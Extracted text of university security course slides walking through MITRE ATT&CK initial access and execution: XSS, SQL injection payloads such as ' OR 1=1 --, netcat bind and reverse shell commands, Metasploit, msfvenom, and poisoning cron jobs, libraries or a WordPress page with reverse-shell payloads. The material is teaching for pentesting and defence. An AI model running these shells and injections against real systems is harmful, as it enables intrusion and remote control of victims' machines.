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Computer Security
THE MITRE ATT&CK FRAMEWORK: OUR ATTACK GUIDE

Remember the MITRE ATT&CK from topic 5 (network security)?
• https://attack.mitre.org/

• Although it has 14 phases, we only reviewed the first one!

Now it is time to review the rest
• The next 3 deal with machine exploitation
• The rest (10 more) are post-exploitation techniques
• As we said, all of them together are called “the adversary lifecycle“

This framework collects ALL adversary tactics and techniques 
observed in the real world
• This way, you have an always-updated access to the different adversary 

(“attack”) techniques divided in phases
• The most updated knowledge, upgraded as time passes!

Phase 1

Source: https://attack.mitre.org/ 
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Computer Security
MITRE ATT&CK. EXPLOITATION TECHNIQUES AND TACTICS

We will begin with those related with exploiting 
remote machines

The amount of information contained in this 
framework is way beyond the scope of our course

But we can explain each phase objectives, general 
techniques, and tactics
• We can also link them to possible defenses already covered 

by past topics

We will also provide some concrete examples of 
techniques of each phase 
• That are typical of CTF competitions!

Exploiting-related 
phases

Phase 2 Phase 3 Phase 4

Source: https://attack.mitre.org/ 

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://attack.mitre.org/


Computer Security
WHAT ARE YOU GOING TO FIND IN THIS BLOCK?

In this block you will learn
• That before carrying out an attack there is a previous phase of gathering resources for it
• That the first phase of an attack is to break into a victim's system for the first time
• That code injection errors are one of the most common in web applications

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
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Creating our attack infrastructure and entering the victim 
infrastructure for the first time

Phase 2 (TA0042. Resource 
Development) and Phase 
(TA0001. Initial Access)

Index -> Exploitation Techniques

https://github.com/jose-r-lopez


Computer Security

TA0042. RESOURCE DEVELOPMENT
https://attack.mitre.org/tactics/TA0042/

Techniques involving adversaries creating, purchasing, or compromising / 
stealing resources that can be used to support different attacks
• They can be used to support various operations against victims in later phases
• Infrastructure: Domains, DNS servers, servers/botnets, accounts, web services, VPNs, 

networks for anonymity
• User accounts: In different services, default product/software accounts...
• Capabilities: malware, offensive software, vulnerability information...

• The capabilities are installed in the purchased infrastructure (Stage Capabilities)

• They can also be used in other phases
• Purchased domains to support Command and Control (remote control) of attacked machines
• Email accounts for phishing as a part of Initial Access
• Stealing code signing certificates for Defense Evasion
• …

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://attack.mitre.org/tactics/TA0042/


Computer Security

TA0001. INITIAL ACCESS
https://attack.mitre.org/tactics/TA0001/

Techniques using various entry vectors to gain an initial foothold within a network 
• In other words, compromise the first device of the victim

• The first step to increase the attack consequences later

• Include targeted spear phishing and exploiting weaknesses on public-facing web servers
• These footholds may allow continued access (Valid accounts, use of external remote services…) or be 

of limited use due to account and password changes

Ways to get initial access are
• Finding hidden directories that give access to private information with tools like dirb
• Finding shared folders with sensitive information (SMB protocol)
• Brute force attacks on remote services (e.g., with nmap) either with pure brute force, dictionaries, or 

with a dictionary customized for the victim 
• Made from words from your website, e.g. (e.g. cewl)

➢ Exercises L11B1_DIRB, L11B1_SMB, L11B1_CEWL, L11B1_NMAPBRUTE

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://attack.mitre.org/tactics/TA0001/


Computer Security
TA0001. INITIAL ACCESS

Among their techniques we can remark T1190. Exploit Public-Facing Application
• Attempt to take advantage of a weakness in an Internet-facing computer / program / web
• Using software, data, or commands in order to cause unintended or unanticipated behavior

• The system weakness can be common errors, glitches, wrong configurations, or design vulnerabilities

• The weak applications are often websites, but other elements can also be attacked
• Databases (like SQL Server)
• Standard services (like SMB or SSH)
• Network device administration and management protocols (like SNMP)
• … (anything with Internet-accessible ports)

• Topic 3-4 (OS, services), 5 (network), and 6 (application) need to be applied on this context
• If it is a web application, you should pay special attention to the errors that are usually produced 

when implementing them
• They can be avoided using the techniques shown on Topic 6!

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
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COMMON WEB ERRORS?

The Open Web Application Security Project (OWASP) 
is a global community dedicated to creating more 
secure software
• Among his many projects, he has classified the most common 

and critical errors when creating websites and APIs
• It is called OWASP Top 10: https://owasp.org/Top10/ 

• They are presented in order of importance (A<Ranking 
Position>:<Year>)

• It's not a list of all the errors, just the most common ones
• There are others that need to be studied if we want to delve 

deeper into this section

• One of the most serious and well-known are injection errors
• Data masquerading as code of different kinds!

All web error information can be found in the WSTG
• https://owasp.org/www-project-web-security-testing-guide/ 

(TK-210 “Red October”)

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://owasp.org/Top10/
https://owasp.org/www-project-web-security-testing-guide/
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When user data turns dangerous because of insufficient validation 
(Topic 6)

Code injection errors

Index -> Exploitation Techniques -> Phases 2 and 3

https://github.com/jose-r-lopez
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REFLECTED CROSS-SITE SCRIPTING (XSS) (WSTG-INPV-01)

Source: securityzines.com

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
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REFLECTED CROSS-SITE SCRIPTING (XSS) (WSTG-INPV-01)

Reflected Cross-site Scripting (Reflected XSS) occurs when an attacker injects 
executable code in the HTTP request
• The request is sent with malicious code that replaces the "normal" data
• Also called XSS Type 1

Characteristics
• This attack is not stored in the application DBMS

• The HTTP request must be modified to be malicious
• And sent to a user (for example, by email) who clicks on it

• Not persistent: There is no trace left in the DBMS (only in the access logs of the web server)
• It only affects users who click on a link with the malicious request

• The actual page receives the request, processes it…
• And returns the response to the victim after executing the malicious injected code!

• A complete collection of XSS attack vectors of this type and the following is here  
• https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
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REFLECTED CROSS-SITE SCRIPTING (XSS) (XSS TYPE 1)

If successful, JavaScript can be used to develop dangerous attacks
• Install keyloggers
• Cookie theft (and therefore sessions, private user account information,....)
• Copy the clipboard of the users who visit the page and submit their content to the attacker
• Change the content of the page in any way imaginable (defacement)
• A full list of possible payloads can be viewed at:  http://www.xsspayloads.com/payloads.html

More information
• https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-

Testing_for_Reflected_Cross_Site_Scripting.html

The main prevention method is using a WAF, but also…
• Cookie security techniques (Topic 6)
• Implementing a Secure CSP Policy (Seminar 6)
• Use a WAF (Topic 6)
• Prevention guide: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
http://www.xsspayloads.com/payloads.html
https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting.html
https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting.html
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
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STORED CROSS-SITE SCRIPTING (XSS) (WSTG-INPV-02)
Source: securityzines.com

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
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STORED CROSS-SITE SCRIPTING (XSS) (WSTG-INPV-02)

A more dangerous variant of XSS
• It can happen in web applications that store user input (most of them!)

• Examples: forum posts, blogs, comments, user profiles...

• The effects of stored/persistent XSS are potentially more harmful if the user has an active session at 
that time

• This type of XSS doesn't need to convince anyone to click on a link...
• Share potential attack vectors, prevention methods, and payloads with type 1

More information
• https://owasp.org/wwwproject-web-security-testing-guide/v41/4- web_application_security_testing/07-

input_validation_testing/02- testing_for_stored_cross_site_scripting.html

There is a third type, DOM-based XSS
• It will not be covered in this course

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://owasp.org/wwwproject-web-security-testing-guide/v41/4-%20web_application_security_testing/07-%20input_validation_testing/02-%20testing_for_stored_cross_site_scripting.html
https://owasp.org/wwwproject-web-security-testing-guide/v41/4-%20web_application_security_testing/07-%20input_validation_testing/02-%20testing_for_stored_cross_site_scripting.html
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Attack that involves inserting SQL code into 
user provided input data
• Injects part of an SQL statement or a full one
• User input is leveraged to modify the purpose of a 

legitimate SQL statement
• Like XSS, but with another type of injected code

The consequences are obvious
• Arbitrary reading/modification of DBMS data 
• Execution of administrative/management operations

of the DBMS 
• Closing it, interaction with the file system or the OS...

• Extraction of metadata from the DBMS, structure, user 
information (passwords, logins)...

• ... (it all depends on the features offered by the DBMS 
to the application, or the user permissions)

SQL INJECTION (SQLI) (WSTG-INPV-05)

Source: https://spanning.com/blog/sql-injection-attacks-
web-based-application-security-part-4/ 

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://spanning.com/blog/sql-injection-attacks-web-based-application-security-part-4/
https://spanning.com/blog/sql-injection-attacks-web-based-application-security-part-4/
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SQL INJECTION (SQLI) (WSTG-INPV-05): BASIC EXAMPLE

Imagine we have this
• The following SQL statement handles the user logins of an application

• SELECT [account data] FROM accounts WHERE login = ‘[user input (Login)]’ AND password 
= ‘[user input (Password)]’

• Once the user enters the information, it is incorporated into the statement
• If the user is called jack with password mysecurepwd: SELECT [account data] FROM accounts WHERE 
login = ‘jack’ AND password = ‘mysecurepwd’

• But what if the user enters admin'-- and no key?
• SELECT [account data] FROM accounts WHERE login = ‘admin’--’ AND password = ‘’

• As -- is a SQL comment the statement becomes
• SELECT [account data] FROM accounts WHERE login = ‘admin’

• Causing free administrator access

More information 
• https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-

Testing_for_SQL_Injection.html

• Prevention: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection.html
https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection.html
https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
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SQL INJECTION (SQLI) (WSTG-INPV-05): BASIC EXAMPLE

What if we don't even know the user's name?
• In many applications, the 1st user in a DB is the Admin: the user who creates other users
• It is common when obtaining users that meet a condition, pick up the 1st and ignore the rest
• Now imagine that we type ' OR 1=1 -- and leave the password empty in the SQL query

• SELECT [account data] FROM accounts WHERE login = '' OR 1=1 --' AND password = ''

• The sentence then turns into this
• SELECT [account data] FROM accounts WHERE login = '' OR 1=1

• 1=1 is always true; <something> OR true is always true so: SELECT [account data] FROM 
accounts

• All users are displayed!

• Depending on the DB, the syntax may change

SQL injection techniques
• https://portswigger.net/web-security/sql-injection/cheat-sheet

• https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

• Full list of possible payloads
• https://github.com/payloadbox/sql-injection-payload-list

                                              

                                                      

                                                      

             

             

Source: https://portswigger.net/web-security/sql-injection 

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://portswigger.net/web-security/sql-injection/cheat-sheet
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
https://github.com/payloadbox/sql-injection-payload-list
https://portswigger.net/web-security/sql-injection
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?

THINK YOU'VE UNDERSTOOD IT ALL? EVALUATE YOURSELF!

You can do the following
• Understand that resource development involves purchasing, creating, or compromise resources 

to attack (machines, user accounts, and/or capabilities)
• Understand the purpose of the initial access phase of the MITRE ATT&CK
• Understanding why a code injection attack of any kind is so dangerous
• Know what XSS is and distinguish between its types 1 and 2
• Know what SQL Injection is and what it aims to do

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
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Running programs on compromised systems that give an attacker 
some advantage

Phase 4: TA0002. Execution

Remote shells >

MSF >

Other techniques >

Index -> Exploitation Techniques

https://github.com/jose-r-lopez
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WHAT ARE YOU GOING TO FIND IN THIS BLOCK?

In this block you will learn
• That once inside a victim's system, the goal is to execute your own code on it
• How to create and distinguish between remote shell types
• What is the Metasploit Framework and its main components and utilities for?
• The danger of replacing executables or any of their dependencies with malicious code
• Where to locate public exploits

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
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TA0002. EXECUTION. USING OS FEATURES
https://attack.mitre.org/tactics/TA0002/

Techniques allowing adversary-controlled code to run on a local/remote system

We remark T1059. Command and Scripting Interpreter
• Abuse command and script interpreters to run commands, scripts, or binaries
• Netcat is a popular example of the application this technique that we will review
• It can also be achieved with different software (I.e., Python interpreters)

We also have
• T1569. System Services

• Abuse system services or daemons to execute commands or programs
• Replacing service or daemon executables or files they load by malicious ones 
• Malicious executables or loaded files can be easily created with msfvenom

• Part of the Metasploit framework we will review

• T1053. Scheduled Task/Job
• Abuse task scheduling functionality to facilitate initial or recurring execution of malicious code
• We will review cron (the Linux scheduling daemon) as an example of this technique

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://attack.mitre.org/tactics/TA0002/
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Remote shells

Index -> Exploitation Techniques -> Execution

https://github.com/jose-r-lopez
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T1059. COMMAND AND SCRIPTING INTERPRETER: REMOTE SHELLS

Ways of opening a command shell on a remote system
• The concept is no different to a connection through SSH
• But in pentesting scenarios we don’t have user credentials for the remote shell

• We just impersonate them!

• Then, we can begin the execution phase using this user identity and its permissions

There are different ways and tools to open shells
• Netcat, Socat or just Bash
• Shells created in various programming languages: PHP, Python…
• Bypassing extension filters on websites to upload malicious files containing a webshell

• These malicious files can be requested by any web client: executing them opens a remote shell
• https://es.paperblog.com/15-formas-de-generar-una-webshell-parte-1-5869673/

• https://majaiti.wordpress.com/2020/05/20/15-formas-de-generar-una-webshell-parte-2/amp/

• https://thehackerway.com/2020/04/03/15-formas-de-generar-una-webshell-parte-3/

• https://www.hackplayers.com/2020/06/http-revshell-c2-covert-channel.html

• … (many more)

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://es.paperblog.com/15-formas-de-generar-una-webshell-parte-1-5869673/
https://majaiti.wordpress.com/2020/05/20/15-formas-de-generar-una-webshell-parte-2/amp/
https://thehackerway.com/2020/04/03/15-formas-de-generar-una-webshell-parte-3/
https://www.hackplayers.com/2020/06/http-revshell-c2-covert-channel.html
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An “attack” machine connects to a netcat
process running in a port of the “victim”
• The victim has netcat installed
• Some user binds a bash shell using a netcat listener 

to a port of his choice (normally >1000)
• The attacker knows this, and connect to that port 

from his machine (also with netcat)
• The attacker can run commands in the victim 

• Under the user identity that run the netcat listener

Is the less used remote shell technique
• Firewalls usually close all ports unless those with 

known authorized services
• Strange ports open and listening can be easily 

detected by network scanners / IDS / IPS

T1059. COMMAND AND SCRIPTING INTERPRETER. NETCAT BIND SHELL

nc 192.168.20.10 8000
Connecting

nc -lvp 8000 -e /bin/sh
Listening

Attack Machine
192.168.20.1

Target
192.168.20.10

TCP connection 
port 8000

Netcat Bind shell

Different ways of creating Bind shells (multiple programming 
languages / techniques): 
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Me
thodology%20and%20Resources/Bind%20Shell%20Cheatsheet.md

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Bind%20Shell%20Cheatsheet.md
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Bind%20Shell%20Cheatsheet.md
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Shell initiated from the victim machine back 
to the attack machine
• Which is in a listening state to “pick up” the shell
• And run commands on the remote machine
• Usually happens when we find a RCE (Remote Code 

Execution) vulnerability on the victim
• And use it to run netcat

Most common way of using Netcat for 
exploiting
• Firewalls usually deny incoming connections, but allow 

outgoing ones
• It is common and legitimate that a program running on 

a system needs to connect “outside”

• Therefore, it raises way less suspicions

T1059. COMMAND AND SCRIPTING INTERPRETER. NETCAT REVERSE SHELLS

nc -lvp 8000
Listening

nc 192.168.20.1 8000 -e /bin/sh
Connecting

Attack Machine
192.168.20.1

Target
192.168.20.10

TCP connection 
port 8000

Netcat Reverse shell

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
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T1059. COMMAND AND SCRIPTING INTERPRETER. REMOTE CODE EXECUTION

(RCE)

To be able to perform a reverse shell attack we need to run netcat (or any 
equivalent program) in the remote system
• As we normally cannot access to it, this is usually done through a Remote Code Execution (RCE) 

vulnerability
• And these type of vulnerabilities can be in public vulnerability and exploit sources, given a service 

name and version
• Now you see why the enumeration work was so important! ☺
• Log4Shell (RCE 0-day vulnerability on the Log4j software) is considered the worst RCE vulnerability in 

computing history 
• https://en.wikipedia.org/wiki/Log4Shell

Other potential sources would be uploading a malicious file or hijacking an 
existing executable (if we have an account)
• We will talk about the last one later

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://en.wikipedia.org/wiki/Log4Shell
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(EXAMPLE) T1059. COMMAND AND SCRIPTING INTERPRETER. NETCAT

REVERSE SHELL

To setup a Netcat reverse shell we need to
• Setup a netcat listener on the attack machine, port 8000: nc –lvp 8000

• Any non-closed port is fine, normally >1000

• Issue the reverse shell command on the victim machine to connect to our attack machine
• For Linux: nc <IP of the attack machine> 8000 –e /bin/bash
• For Windows: nc.exe <IP of the attack machine> 8000 –e cmd.exe

• When the connection is received, the attack machine stops listening and gives us control
• We will now have a bash shell on the target machine 

• We have the permissions of the user account which initiated the reverse shell
• So, if root initiates the shell, we have root privileges on the target host
• If not, especially on CTF, we could check techniques to attain a privilege scalation
• We may obtain a shell without the usual functionalities (command history, autocomplete…)

• In that case, we can try to spawn a full shell 
• With this command (if Python is available): python -c "import pty;pty.spawn('/bin/bash’)" 

➢ Exercises L11B2_NETCAT, L11B2_BINDSHELL, L11B2_REVERSESHELL, L11B2_REVERSESHELLNONC

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/


Source: Bing Chat AI
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Metasploit Framework (MSF)

Index -> Exploitation Techniques -> Execution

https://github.com/jose-r-lopez
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T1569. SYSTEM SERVICES: METASPLOIT FRAMEWORK (MSF)

Abbreviated as MSF, and installed by default in Kali
• Also available here: https://tools.kali.org/exploitation-tools/metasploit-framework

Software platform for developing, testing and executing exploits
• Used to create tools that perform security tests as part of a pentesting (can be customized)
• One of the most used tools by security auditors to check for old and new vulnerabilities

Has a large collection of modules for enumeration, exploiting and post-exploiting
• And a development environment to create new ones…
• They cover an extensive number of different services: SSH, HTTP, RDP / VNC (see ASR)…

Backed by a large community of developers and the company Rapid7

Can be used from the console, or via GUIs like Metasploit Community or Armitage
• Functionalities are the same, but it is easier to use ☺

➢ Exercise L11B1_NMAPMSF

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://tools.kali.org/exploitation-tools/metasploit-framework
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T1569. SYSTEM SERVICES: MSF CONCEPTS

Exploit: code written to take advantage of a vulnerability 
• To get certain privileges or take control of the breached system or software
• A special type is the 0-day, a previously unknown exploit for which no patch or solution exist yet

Payload: malicious code that run on the compromised machine through an exploit
• One of the most famous payloads is Meterpreter (seen later)
• These payloads are typically the ones responsible of attaining Execution in the adversary lifecycle

Modules: set of features that eases applying an exploit to or scan a victim

Shellcode: set of statements typically injected into a program's execution stack 
• Enabling a planned operation to be executed on the machine on which the program resides

Msfvenom: Tool that can
• Generate shellcodes to inject on exploits or software
• Obfuscate and hide this malicious code to different types of security software (IDS, antivirus...)

• This is necessary to bypass protection systems in real-world environments

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
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T1569. SYSTEM SERVICES: MSF MODULES

Auxiliary: Utility modules for the Reconnaissance phase
• Or various operations related with specific software
• Scanners, sniffers… (the image contains some examples)

Exploit: All available MSF exploits
• Classified by OS and then by protocol / product
• E. g.: WordPress-related exploits

Payload: different types of malicious code 
• That can be used if an Exploit succeeds
• Typically, to spawn a Meterpreter or a command shell 

Post-exploiting: modules to perform malicious operations in 
compromised systems
• Exfiltrate files, general management (enable RDP, delete/add users…), 

install programs…
• Gain control on machines we successfully exploited

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
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MSF is used following this sequence
1. Apply “Finding an exploit to use”

• Gather target system information
• Via a previous Reconnaissance phase, (Topic 5)
• Or via the MSF auxiliary modules

• Search for exploits applicable to the found services

2. Apply the “Executing an exploit”
• Test each applicable exploit using the image “cycle”

• use: choose exploit 
• set payload: tell the exploit what to do if successful 
• show options: see all the exploit parameters 
• set options: fill the parameters with adequate values 
• exploit: run the exploit, and see if it works

• Every exploit can be treated this way!

3. If successful, use the available options of the 
chosen payload (Meterpreter, shell…) 
• We will talk about them later

T1569. SYSTEM SERVICES. 
GENERAL MSF USAGE

1

2

3

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
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(EXAMPLE) T1569. SYSTEM SERVICES. MSF 
EXPLOIT MODULES: WEB_DELIVERY

Module that creates a server on the attacking
machine hosting a payload
• When victims connects to the attacking server, the 

payload will be executed on the victim machine
• Works with PHP, Python, and PowerShell

This exploit requires a way of executing 
commands on the victim machine
• Reach the attacking machine from the victim
• A great example of attack vector is a Remote 

Command Execution (RCE) vulnerability

Does not require a shell to work
• Server and payload are on the attacking machine: 

the attack proceeds without being written to disk
• This helps keep the attacking fingerprint low

This illustrates the “exploit usage cycle”

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/


Computer Security

T1569. SYSTEM SERVICES. MSF PAYLOADS. METERPRETER
https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/

It is a possible exploit payload of MSF, arguably the most popular one

Provides control over an exploited target system
• Running as a DLL loaded inside of any process on that target
• This DLL-injection provides a way to communicate with Meterpreter and it is called Stager

• The Stager exposes a socket and a Ruby API to communicate with Meterpreter and get multiple effects

• There is also a stageless launch
• A single binary that bundles all the required parts of Meterpreter, along with any needed extensions
• Adequate for certain scenarios (low-bandwidth, high-latency)

• Differences: https://blog.rapid7.com/2015/03/25/stageless-meterpreter-payloads/

If the exploit we used allows to launch a 
Meterpreter instance as a payload, we will 
have control over the attacked system
• Which includes information theft and other 

advanced malicious activities

• It’s the definitive payload! ☺
Source: 
https://helloitsliam.com/2016/02/10/und
erstanding-metasploit-payloads/ 

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/
https://blog.rapid7.com/2015/03/25/stageless-meterpreter-payloads/
https://helloitsliam.com/2016/02/10/understanding-metasploit-payloads/
https://helloitsliam.com/2016/02/10/understanding-metasploit-payloads/
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T1569. SYSTEM SERVICES. MSF PAYLOADS. METERPRETER

Meterpreter working on an exploited system gives you CONTROL over it

Some relevant control operations are
• Deleting log files (delete all traces of the intrusion)
• Take screenshots
• Uploading and downloading files (malware and exfiltration)
• Copy information (brute-force offline analysis of encrypted files, local analysis of the system)
• Extracting configuration information: Routing tables, network cards, logging, security settings, shared 

files, Firewall...
• …

All this can be done through Meterpreter commands 
• Cheatsheet of common commands

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Metasploit%20-
%20Cheatsheet.md

Examples: https://medium.com/forensicitguy/making-meterpreter-look-google-signed-using-msi-jar-files-c0a7970ff8b7

➢ Exercise L12B1_METERPRETER

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet.md
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet.md
https://medium.com/forensicitguy/making-meterpreter-look-google-signed-using-msi-jar-files-c0a7970ff8b7
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T1569. SYSTEM SERVICES. MSFVENOM

MSF component that allows to generate a stand-alone 
version of any payload of the framework
• Once these stand-alone payloads are run on the target machine…

• Its action is triggered (if current user rights allows it) 
• And the payload effect is accessible from the attacking machine

Payloads can be generated using multiple formats
• Executable, script, .php, .asp, raw shellcode…
• This makes it usable from web page attack vectors 

• File upload vulnerabilities, RFI, LFI (if previously uploaded)…

• If we run one, or make it part of an application/web (with no 
permissions issues), we will have completed the exploiting

Learn more: https://www.offensive-security.com/metasploit-unleashed/msfvenom/

A complementary more stealth tool is OWASP ZSC: 
• https://www.elladodelmal.com/2017/09/owasp-zsc-zeroday-cyber-research.html

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://www.offensive-security.com/metasploit-unleashed/msfvenom/
https://www.elladodelmal.com/2017/09/owasp-zsc-zeroday-cyber-research.html
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T1569. SYSTEM SERVICES. MSF PAYLOADS. MSFVENOM OPTIONS

Formats
• Executable: create an executable suited for a certain execution environment 

• exe (Windows executable), elf (Linux executable), psh (PowerShell script)...

• Transform: formats the payload so it can be included in compatible source code, e. g.
• If you provide "C" you will get an array of unsigned char, usable in C source code
• If the exploit is written in Ruby, it is returned as Ruby array

Encoders: security products can detect plain msfvenom payloads
• To evade security, encoders can be used to hide the contents of the payload
• Available encoders can be listed with msfvenom --list encoders

Architectures: architecture that the generated payload may use
• Not only CPU architectures
• This can also be used to generate web-focused payloads (PHP, Ruby, Python, Java...)

These options appear in the following cheat sheet

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/


Source: Bing Chat AI

*Icons by Bing Chat AI

Other execution techniques

Index -> Exploitation Techniques -> Execution

https://github.com/jose-r-lopez
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T1053. SCHEDULED TASK/JOB: CRON JOBS

The cron daemon runs scheduled tasks (system maintenance, etc.)

Tasks that are scheduled can be consulted in the /etc/crontab file

This can be used to gain execution or privilege scalation 
• Your user may be able to introduce a scheduled task in this file, and the daemon runs as root
• Or maybe you can replace one of the scheduled tasks by another file, due to permission problems

• Replace with what? For example, with a msfvenom payload
• echo “<msfvenom payload text in the adequate language>” > previously_scheduled_script.py

• In the end, this will run the msfvenom payload when the task is executed, with root privileges
• And therefore, we may gain a root reverse shell

➢ Exercise L12B2_CRONEXFIL

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
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T1129. SHARED MODULES: REPLACING EXECUTABLE DEPENDENCIES

cron jobs are examples of an attack that replaces legitimate executable files / 
dependencies by a malicious version / msfvenom payload
• The same happens with Linux Privilege Escalation via Dynamically Linked Shared Object Library

• https://www.contextis.com/us/blog/linux-privilege-escalation-via-dynamically-linked-shared-object-library

• Checks for write permissions in paths where libraries are loaded
• Replacing them with msfvenom payloads

• The executable loads the payload instead of the library, running it (reverse shells…)

➢ Exercises L12B2_LIBSCALE, L12B2_DEPSCALE

LIB

LIB
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Creates payload
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loads
payload

posing as lib

LIB

replaces

1 2 3

Payload
runs in the
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runs
program
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1 2
cron cron

3

Cron runs 
the payload

runs
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program

“Poisoned” program
library

“Poisoned” cron
task

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://www.contextis.com/us/blog/linux-privilege-escalation-via-dynamically-linked-shared-object-library
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(EXAMPLE) T1203. EXPLOITATION FOR CLIENT EXECUTION. MSFVENOM: POISONING

WORDPRESS

Imagine that a WordPress site suffers a breach, and somebody can change the 
webpage contents 
• The image show the default 404 error page of a WordPress theme

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
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We run msfvenom creating a payload with 
the following features
• Execute a reverse shell who runs a Meterpreter 

by including the MSF exploit module 
php/meterpreter/reverse_tcp

• Allow connection only from our attack machine 
(192.168.14.10) in port 3000

It generates executable PHP code
• We can paste it into the previous edit page
• Another attack vector could be a faulty file 

upload functionality 
• Not appropriately checking uploaded files (e. g.: 

files like .asp, .php are accepted)

• We can launch similar attacks adapting the 
payload generation language 
• Always to the victim environment 

(EXAMPLE) T1203. EXPLOITATION FOR CLIENT EXECUTION. MSFVENOM: GENERATING A

SUITABLE PAYLOAD

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
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(EXAMPLE) T1203. EXPLOITATION FOR CLIENT EXECUTION. MSFVENOM: MSF 
MULTI/HANDLER

Now the 404 error page is malicious
• Allowing us to open a reverse shell impersonating the website default user

The main problem is that the generated exploit is not launched from MSF
• We did not use the sequence use <exploit> - set <exploit parameters> - exploit

• It will be something running in a remote machine without MSF installed

It this scenario the multi/handler module is used
• It manages any payload run outside MSF (like the msfvenom generated ones) and requires

• The kind of payload (malicious effect) it expects to receive from the launched exploit
• The IP and port it will be listening to

• It must boot first than the exploit associated with it
• When the exploit is launched, multi/handler will receive its requests 
• And will execute the specified payload if everything is correct
• Failure to meet any of these conditions (type of payload, IP…) makes it fail

• To learn more
• https://www.offensive-security.com/metasploit-unleashed/binary-payloads/

• https://medium.com/@PenTest_duck/offensive-msfvenom-from-generating-shellcode-to-creating-trojans-4be10179bb86

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://www.offensive-security.com/metasploit-unleashed/binary-payloads/
https://medium.com/@PenTest_duck/offensive-msfvenom-from-generating-shellcode-to-creating-trojans-4be10179bb86
